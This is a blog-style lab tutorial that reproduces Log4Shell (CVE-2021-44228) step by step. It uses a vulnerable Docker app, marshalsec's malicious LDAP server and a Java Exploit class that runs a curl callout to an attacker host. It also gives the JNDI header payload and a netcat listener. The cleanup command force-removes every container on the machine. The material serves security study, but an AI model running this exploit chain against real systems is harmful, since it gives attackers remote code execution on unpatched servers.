The ability to reproduce vulnerabilities in a contained lab environment is a cornerstone of responsible security research.
In this post, we build a minimalist setup to safely reproduce Log4Shell (CVE-2021-44228), demonstrating its impact and behavior.
⚠ Disclaimer
This lab is for educational and research purposes only.
Do not deploy this setup on public-facing infrastructure.
1. Lab Architecture
┌────────────┐ LDAP Callback ┌────────────┐
│ Vulnerable │ ←───────────────→ │ Attacker │
│ Server │ │ (LDAP + JShell) │
└────────────┘ └────────────┘
Components:
- Vulnerable Java app (Log4j ≤ 2.14.1)
- Malicious LDAP server using marshalsec
- Optional reverse shell or command callback
2. Setup Vulnerable Server
Clone minimal vulnerable app:
git clone https://github.com/christophetd/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app
docker build -t vulnerable-log4j-app .
docker run -p 8080:8080 vulnerable-log4j-app
Test endpoint:
curl http://localhost:8080 -H 'X-Api-Version: 1.0'
3. Set Up Malicious LDAP Server
Install dependencies:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Run malicious LDAP server:
java -cp target/marshalsec-*.jar marshalsec.jndi.LDAPRefServer \
"http://:8000/#Exploit"
Note: Host a malicious Java class (Exploit.class
) via a simple HTTP server:
python3 -m http.server 8000
4. Create Exploit Class
Example Exploit.java
:
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("curl http://:9999/pwned");
} catch (IOException e) {
e.printStackTrace();
}
}
}
Compile and serve it:
javac Exploit.java
# place it in your HTTP server root
5. Trigger the Exploit
Send payload to vulnerable server:
curl http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://:1389/Exploit}'
Monitor logs / listener:
nc -lvnp 9999 # listener for callout
6. Observations
Once triggered, the vulnerable server performs a JNDI lookup → loads the remote class → executes the payload.
This confirms RCE and reflects the original threat in controlled conditions.
7. Cleanup
Always destroy containers and shut down servers after testing:
docker rm -f $(docker ps -aq)
Final Notes
Reproducing CVEs like Log4Shell helps deepen your understanding of exploit chains,
from surface exposure to execution vectors.
In future posts, we’ll enhance this lab with:
- Real-time reverse shells
- Detection via eBPF or syscalls
- Mitigation layering (WAF, egress control, JVM flags)
Stay sharp. Know the vector. Control the surface.